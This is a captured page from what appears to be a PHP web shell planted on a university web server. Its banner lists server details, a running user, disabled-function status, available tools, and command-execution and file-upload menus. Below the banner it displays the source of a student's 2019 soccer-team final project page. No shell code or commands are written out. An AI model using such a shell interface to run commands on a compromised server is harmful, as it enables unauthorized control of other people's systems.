|
Server IP : 172.16.15.8 / Your IP : 3.144.89.42 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/idetonyeaku/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--
File: project.php
Assignment: Final Project
Due: Apr. 16, 2019
Author: Ikechukwu Etonyeaku
Goal:
-->
<HTML>
<HEAD>
<TITLE>Iyke's homepage
</TITLE>
</HEAD
<BODY>
<CENTER>
<H2>
<Font Color = white >
Welcome to Iyke's and Matt's Final Project
</H2>
<style>
body{
border: 2px solid black;
padding: 25px;
background:url(https://images.unsplash.com/photo-1542490101-4be93d1756e0?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80);
background-repeat: repeat;
background-size: auto;
}
.navbar {
overflow: hidden;
background-color: #333;
font-family: Arial;
}
.navbar a {
float: left;
font-size: 12px;
color: white;
text-align: center;
padding: 10px 12px;
text-decoration: none;
}
.dropdown {
float: left;
overflow: hidden;
}
.dropdown .dropbtn {
font-size: 12px;
border: none;
outline: none;
color: white;
padding: 10px 12px;
background-color: inherit;
font-family: inherit;
margin: 0;
}
.navbar a:hover, .dropdown:hover .dropbtn {
background-color: red;
}
.dropdown-content {
display: none;
position: absolute;
background-color: red;
min-width: 160px;
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
z-index: 1;
}
.dropdown-content a {
float: none;
color: pink;
padding: 10px 12px;
text-decoration: none;
display: block;
text-align: left;
}
.dropdown-content a:hover {
background-color: gray;
}
.dropdown:hover .dropdown-content {
display: block;
}
</style>
</head>
<body>
<div class="navbar">
<a href=index.html>Home</a>
<div class="dropdown">
<button class = "dropbtn">About US
<i class= "fa fa-caret-down"></i>
</buttton>
<div class= "dropdown-content">
<a HREF=iyke.html style="color:white"> About Iyke </a>
<P>
<a HREF=matt.html style="color:white"> About Matt </a>
<P>
</Font>
</div>
</div>
<div class = "dropdown">
<button class = "dropbtn">Evaluation
<i class= "fa fa-caret-down"></i>
</buttton>
<div class= "dropdown-content">
<a HREF=project3.php style="color:white"> Evaluate Your Skills </a>
<P>
</div>
</div>
<div class = "dropdown">
<button class = "dropbtn">Positions
<i class= "fa fa-caret-down"></i>
</buttton>
<div class= "dropdown-content">
<a HREF=displayforwardtable.php style="color:white"> Forward </a>
<P>
<a HREF=displaymidfieldtable.php style="color:white"> Midfield </a>
<P>
<a HREF=displaydefensetable.php style="color:white"> Defense </a>
<P>
<a HREF=displaygoalkeepertable.php style="color:white"> Goalkeeper </a>
<P>
</div>
</div>
<div class = "dropdown">
<button class = "dropbtn">Join Our Team
<i class= "fa fa-caret-down"></i>
</buttton>
<div class= "dropdown-content">
<a HREF=info.php style="color:white"> Info </a>
<P>
</div>
</div>
</div>
<script>
function myFunction() {
document.getElementById("myDropdown").classList.toggle("show");
}
window.onclick = function(event) {
if (!event.target.matches('.dropbtn')) {
var dropdowns = document.getElementsByClassName("dropdown-content");
var i;
for (i = 0; i < dropdowns.length; i++) {
var openDropdown = dropdowns[i];
if (openDropdown.classList.contains('show')) {
openDropdown.classList.remove('show');
}
}
}
}
</script>
</Font>
</CENTER>
</HTML>
</body>